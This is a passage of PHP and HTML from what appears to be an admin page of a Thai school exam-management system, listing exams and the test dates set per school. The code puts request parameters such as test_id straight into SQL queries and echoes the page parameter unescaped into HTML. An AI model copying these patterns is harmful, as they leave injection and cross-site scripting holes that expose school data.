'YYYY-MM-DD')</script> <?php echo "เวลา "; echo "<Select name='start_time' size='1'>"; echo "<option value = '08.00'>08.00 น.</option>" ; echo "<option value = '08.30'>08.30 น.</option>" ; echo "<option value = '09.00'>09.00 น.</option>" ; echo "<option value = '09.30'>09.30 น.</option>" ; echo "<option value = '10.00'>10.00 น.</option>" ; echo "<option value = '10.30'>10.30 น.</option>" ; echo "<option value = '11.00'>11.00 น.</option>" ; echo "<option value = '11.30'>11.30 น.</option>" ; echo "<option value = '12.00'>12.00 น.</option>" ; echo "<option value = '12.30'>12.30 น.</option>" ; echo "<option value = '13.00'>13.00 น.</option>" ; echo "<option value = '13.30'>13.30 น.</option>" ; echo "<option value = '14.00'>14.00 น.</option>" ; echo "<option value = '14.30'>14.30 น.</option>" ; echo "<option value = '15.00'>15.00 น.</option>" ; echo "<option value = '15.30'>15.30 น.</option>" ; echo "<option value = '16.00'>16.00 น.</option>" ; echo "<option value = '16.30'>16.30 น.</option>" ; echo "<option value = '17.00'>17.00 น.</option>" ; echo "<option value = '17.30'>17.30 น.</option>" ; echo "<option value = '18.00'>18.00 น.</option>" ; echo "</select>"; echo "<br>"; echo "<div align='left'><input type='checkbox' name='allchk' id='allchk' onclick='CheckAll()'><font color='#006666'>เลือกทั้งหมด</font></div>"; echo "</Td><Td width='250'>"; ?> <script>DateInput('test_stop', true, 'YYYY-MM-DD')</script> <?php echo "เวลา "; echo "<Select name='stop_time' size='1'>"; echo "<option value = '08.00'>08.00 น.</option>" ; echo "<option value = '08.30'>08.30 น.</option>" ; echo "<option value = '09.00'>09.00 น.</option>" ; echo "<option value = '09.30'>09.30 น.</option>" ; echo "<option value = '10.00'>10.00 น.</option>" ; echo "<option value = '10.30'>10.30 น.</option>" ; echo "<option value = '11.00'>11.00 น.</option>" ; echo "<option value = '11.30'>11.30 น.</option>" ; echo "<option value = '12.00'>12.00 น.</option>" ; echo "<option value = '12.30'>12.30 น.</option>" ; echo "<option value = '13.00'>13.00 น.</option>" ; echo "<option value = '13.30'>13.30 น.</option>" ; echo "<option value = '14.00'>14.00 น.</option>" ; echo "<option value = '14.30'>14.30 น.</option>" ; echo "<option value = '15.00'>15.00 น.</option>" ; echo "<option value = '15.30'>15.30 น.</option>" ; echo "<option value = '16.00'>16.00 น.</option>" ; echo "<option value = '16.30'>16.30 น.</option>" ; echo "<option value = '17.00'>17.00 น.</option>" ; echo "<option value = '17.30'>17.30 น.</option>" ; echo "<option value = '18.00' selected>18.00 น.</option>" ; echo "</select>"; echo "</Td>"; echo "<Td width='40'>ลบ</Td>"; echo "<td width='40'>แก้ไข</td>"; echo "</Tr>"; $sql = "select * from system_school order by school_type,school_code"; $dbquery = mysqli_query($connect,$sql); $N=1; $M=1; While ($result = mysqli_fetch_array($dbquery)) { $id = $result['id']; $school_code= $result['school_code']; $school_name= $result['school_name']; if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; $sql_check= "select id,start_date,stop_date from bets_test_schuser where school='$school_code' and test_id='$_REQUEST[test_id]'"; $dbquery_check=mysqli_query($connect,$sql_check); $result_check = mysqli_fetch_array($dbquery_check); echo "<Tr bgcolor=$color align=center><Td>$N</Td><Td align='left'>$school_code $school_name</Td>"; if($result_check){ $start_1=thai_date_4($result_check['start_date']); $stop_1=thai_date_4($result_check['stop_date']); echo "<td align='left'><input type='checkbox' name='chk1$school_code' id='chk1$school_code' value='1'>"; echo $start_1; echo "</td>"; echo "<td align='left'>"; echo $stop_1; echo "</td>"; } else{ echo "<td align='left'>"; if($result_permission['p3']==1){ echo "<input type='checkbox' name='chk1$school_code' id='chk1$school_code' value='1'><font color='#006666'>เลือก</font>"; } echo "</td>"; echo "<td></td>"; } if($result_test['officer']==$officer){ echo "<td valign='top' align='center'>"; if($result_check){ echo "<a href=?option=bets&task=main/test_admin&index=2&id=$result_check[id]&test_id=$_REQUEST[test_id]&page=$_REQUEST[page]><img src=images/drop.png border='0' alt='ลบ'></a>"; } echo "</td>"; echo "<Td valign='top' align='center'>"; if($result_check){ echo "<a href=?option=bets&task=main/test_admin&index=5&id=$result_check[id]&test_id=$_REQUEST[test_id]&school_name=$school_name&page=$_REQUEST[page]><img src=images/edit.png border='0' alt='แก้ไข'></a>"; } echo "</Td>"; } else{ echo "<td></td><td></td>"; } echo "</Tr>"; $M++; $N++; } echo "<input type='hidden' name='test_id' value='$result_test[id]'>"; echo "<input type='hidden' name='page' value='$_REQUEST[page]'>"; if($result_permission['p3']==1){ echo "<tr bgcolor='#FFCCCC'><td align='center' colspan='6'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url2(1)'> <INPUT TYPE='button' name='smb' value='กำหนดเหมือนฉบับล่าสุด' onclick='goto_url2(2)'></td></tr>"; } else{ echo "<tr bgcolor='#FFCCCC'><td align='center' colspan='6'></td></tr>"; } echo "</Table>"; echo "</form>"; } //ส่วนการแสดงผล if(!(($index==1) or ($index==2) or ($index==2.2) or ($index==3) or ($index==4) or ($index==5) or ($index==5.2) or ($index==6) or ($index==7))){ echo "<table width='50%' border='0' align='center'>"; echo "<tr align='center'><td><font color='#006666' size='3'><strong>รายการสอบ</strong></font></td></tr>"; echo "</table>"; $sql_page ="select *,bets_test.id, bets_test.test_name,bets_test.class_room,bets_test.test_active, bets_master_test.master_name from bets_test,bets_master_test,bets_group where bets_test.master_test=bets_master_test.id and bets_test.s_group=bets_group.group_code "; $dbquery_page = mysqli_query($connect,$sql_page); $num_rows=mysqli_num_rows($dbquery_page); $pagelen=20; // กำหนดแถวต่อหน้า $url_link="option=bets&task=main/test_admin"; $totalpages=ceil($num_rows/$pagelen); if(!(isset($_REQUEST['page']))){ $_REQUEST['page']=""; } if($_REQUEST['page']==""){ $page=$totalpages; if($page<2){ $page=1; } } else{ if($totalpages<$_REQUEST['page']){ $page=$totalpages; if($page<1){ $page=1; } } else{ $page=$_REQUEST['page']; } } $start=($page-1)*$pagelen; if(($totalpages>1) and ($totalpages<16)){ echo "<div align=center>"; echo "หน้า "; for($i=1; $i<=$totalpages; $i++) { if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } echo "</div>"; } if($totalpages>15){ if($page <=8){ $e_page=15; $s_page=1; } if($page>8){ if($totalpages-$page>=7){ $e_page=$page+7; $s_page=$page-7; } else{ $e_page=$totalpages; $s_page=$totalpages-15; } } echo "<div align=center>"; if($page!=1){ $f_page1=$page-1; echo "<<a href=$PHP_SELF?$url_link&page=1>หน้าแรก </a>"; echo "<<<a href=$PHP_SELF?$url_link&page=$f_page1>หน้าก่อน </a>"; } else { echo "หน้า "; } for($i=$s_page; $i<=$e_page; $i++){ if($i==$page){ echo "[<b><font size=+1 color=#990000>$i</font></b>]"; } else { echo "<a href=$PHP_SELF?$url_link&page=$i>[$i]</a>"; } } if($page<$totalpages) { $f_page2=$page+1; echo "<a href=$PHP_SELF?$url_link&page=$f_page2> หน้าถัดไป</a>>>"; echo "<a href=$PHP_SELF?$url_link&page=$totalpages> หน้าสุดท้าย</a>>"; } echo " <select onchange=\"location.href=this.options[this.selectedIndex].value;\" size=\"1\" name=\"select\">"; echo "<option value=\"\">หน้า</option>"; for($p=1;$p<=$totalpages;$p++){ echo "<option value=\"?$url_link&page=$p\">$p</option>"; } echo "</select>"; echo "</div>"; } //จบแยกหน้า echo "<form id='frm1' name='frm1'>"; echo "<table width='95%' align='center'><tr><Td align='left'><INPUT TYPE='button' name='smb' value='เพิ่มรายการสอบ' onclick='location.href=\"?option=bets&task=main/test_admin&index=1\"'></Td><td align='right'>"; echo "</td></tr></table>"; $sql = "select *,bets_test.id,bets_test.s_group, bets_test.test_name,bets_test.class_room,bets_test.test_active,bets_test.officer,bets_master_test.master_name from bets_test,bets_master_test,bets_group where bets_test.master_test=bets_master_test.id and bets_test.s_group=bets_group.group_code order by bets_test.id limit $start,$pagelen"; $dbquery = mysqli_query($connect,$sql); echo "<table width='95%' border='1' borderColor='#999999' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#D8D8D8' align='center'><Td width='60'>ลำดับที่</Td><Td width='80'>รหัสการสอบ</Td><Td>ชื่อการสอบ</Td><Td>กลุ่มสาระ</Td><Td>แบบทดสอบ(ต้นฉบับ)</Td><Td width='50'>ชั้น</Td><Td width='50'>จำนวน<br>ข้อ</Td><Td width='50'>คะแนน<br>เต็ม</Td><Td width='50'>เวลาสอบ<br>นาที</Td><Td width='50'>เกณฑ์</Td><Td width='50'>เปิด/ปิด<br>การสอบ</Td><Td width='50'>เฉลย<br>ข้อสอบ</Td><Td width='50'>ลบ</Td><Td width='50'>แก้ไข</Td><Td width='50'>ผู้สอบ</Td></Tr>"; $N=(($page-1)*$pagelen)+1; //*เกี่ยวข้องกับการแยกหน้า $M=1; While ($result = mysqli_fetch_array($dbquery)) { $id = $result['id']; $test_name= $result['test_name']; $s_group= $result['s_group']; $s_group=substr($s_group,0,4); if(($M%2) == 0) $color="#FFFFC"; else $color="#FFFFFF"; echo "<Tr bgcolor=$color align='center'><Td>$N</Td><Td>$id</Td><Td align='left'>$test_name</Td><Td align='left'>$result[group_name] ($s_group)</Td><Td align='left'>$result[master_name]</Td>"; echo "<td>"; if($result['class_room']==4){ echo "ป.1"; } else if($result['class_room']==5){ echo "ป.2"; } else if($result['class_room']==6){ echo "ป.3"; } else if($result['class_room']==7){ echo "ป.4"; } else if($result['class_room']==8){ echo "ป.5"; } else if($result['class_room']==9){ echo "ป.6"; } else if($result['class_room']==10){ echo "ม.1"; } else if($result['class_room']==11){ echo "ม.2"; } else if($result['class_room']==12){ echo "ม.3"; } else if($result['class_room']==13){ echo "ม.4"; } else if($result['class_room']==14){ echo "ม.5"; } else if($result['class_room']==15){ echo "ม.6"; } echo "</td>"; echo "<td align='center'>$result[item_num]</td><td align='center'>$result[test_score]</td><td align='center'>$result[test_time]</td><td align='center'>$result[g1]/$result[g2]</td>"; echo "<td>"; if($result['test_active']==1){ if($result_permission['p3']==1){ echo "<a href=?option=bets&task=main/test_admin&test_id=$id&active=0&index=6.2&page=$page><img src=images/yes.png border='0'></a>"; } else{ echo "<img src=images/yes.png border='0'>"; } } else{ if($result_permission['p3']==1){ echo "<a href=?option=bets&task=main/test_admin&test_id=$id&active=1&index=6.2&page=$page><img src=images/no.png border='0'></a>"; } else{ echo "<img src=images/no.png border='0'>"; } } echo "</td>"; echo "<td>"; if($result['open_test']==1){ if($result_permission['p3']==1){ echo "<a href=?option=bets&task=main/test_admin&test_id=$id&active=0&index=6.3&page=$page><img src=images/yes.png border='0'></a>"; } else{ echo "<img src=images/yes.png border='0'>"; } } else{ if($result_permission['p3']==1){ echo "<a href=?option=bets&task=main/test_admin&test_id=$id&active=1&index=6.3&page=$page><img src=images/no.png border='0'></a>"; } else{ echo "<img src=images/no.png border='0'>"; } } echo "</td>"; if($result_permission['p3']==1){ echo "<Td><a href=?option=bets&task=main/test_admin&index=2.2&id=$id&page=$page><img src=images/drop.png border='0'></a></div></Td>"; echo "<Td><a href=?option=bets&task=main/test_admin&index=5.2&id=$id&page=$page><img src=images/edit.png border='0'></a></div></Td>"; } else{ echo "<td></td><td></td>"; } if($result_permission['p3']==1){ echo "<Td><a href=?option=bets&task=main/test_admin&index=7&test_id=$id&page=$page><img src=images/edit.png border='0'></a></div></Td>"; } else{ echo "<Td><a href=?option=bets&task=main/test_admin&index=7&test_id=$id&page=$page><img src=images/browse.png border='0'></a></div></Td>"; } echo "</Tr>"; $M++; $N++; } echo "</Table>"; echo "</form>"; } ?> <script> function goto_url(val){ if(val==0){ callfrm("?option=bets&task=main/test_admin"); }else if(val==1){ if(frm1.test_name.value == ""){ alert("กรุณากรอกชื่อรายการสอบ"); }else if(frm1.master_test.value == ""){ alert("กรุณาเลือกแบบทดสอบที่จะใช้"); }else if(frm1.group.value == ""){ alert("กรุณาเลือกกลุ่มสาระ"); }else if(frm1.class_room.value==""){ alert("กรุณาเลือกชั้นสอบ"); }else if(frm1.item_num.value==""){ alert("กรุณาระบุจำนวนข้อ"); }else if((frm1.test_score.value=="0") || (frm1.test_score.value=="")){ alert("กรุณาระบุคะแนนเต็ม"); }else if(frm1.test_time.value==""){ alert("กรุณาระบุเวลาสอบ"); }else if(frm1.g1.value==""){ alert("กรุณาระบุเกณฑ์ระดับดี"); }else if(frm1.g2.value==""){ alert("กรุณาระบุเกณฑ์ระดับปรับปรุง"); }else{ callfrm("?option=bets&task=main/test_admin&index=4.2"); } } } function goto_url2(val){ if(val==1){ callfrm("?option=bets&task=main/test_admin&index=4"); } if(val==2){ callfrm("?option=bets&task=main/test_admin&index=4.5"); } } function goto_url_update(val){ if(val==0){ callfrm("?option=bets&task=main/test_admin&index=7"); }else if(val==1){ callfrm("?option=bets&task=main/test_admin&index=6"); } } function goto_url_update2(val){ if(val==0){ callfrm("?option=bets&task=main/test_admin"); }else if(val==1){ if(frm1.test_name.value == ""){ alert("กรุณากรอกชื่อรายการสอบ"); }else if(frm1.master_test.value == ""){ alert("กรุณาเลือกแบบทดสอบที่จะใช้"); }else if(frm1.group.value == ""){ alert("กรุณาเลือกกลุ่มสาระ"); }else if(frm1.class_room.value==""){ alert("กรุณาเลือกชั้นสอบ"); }else if(frm1.item_num.value==""){ alert("กรุณาระบุจำนวนข้อ"); }else if((frm1.test_score.value=="0") || (frm1.test_score.value=="")){ alert("กรุณาระบุคะแนนเต็ม"); }else if(frm1.test_time.value==""){ alert("กรุณาระบุเวลาสอบ"); }else if(frm1.g1.value==""){ alert("กรุณาระบุเกณฑ์ระดับดี"); }else if(frm1.g2.value==""){ alert("กรุณาระบุเกณฑ์ระดับปรับปรุง"); }else{ callfrm("?option=bets&task=main/test_admin&index=6.4"); } } } function CheckAll() { for (var i = 0; i < document.frm1.elements.length; i++) { var e = document.frm1.elements[i]; if (e.name != "allchk") if(e.value==1 && e.type=="checkbox"){ e.checked = document.frm1.allchk.checked; } } } </script>
Close